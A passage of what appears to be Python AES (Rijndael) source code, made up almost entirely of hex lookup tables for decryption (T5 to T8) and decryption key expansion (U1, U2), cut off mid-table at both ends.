0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ]\n\n    # Transformations for decryption\n    T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ]\n    T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ]\n    T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ]\n    T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ]\n\n    # Transformations for decryption key expansion\n    U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ]\n    U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 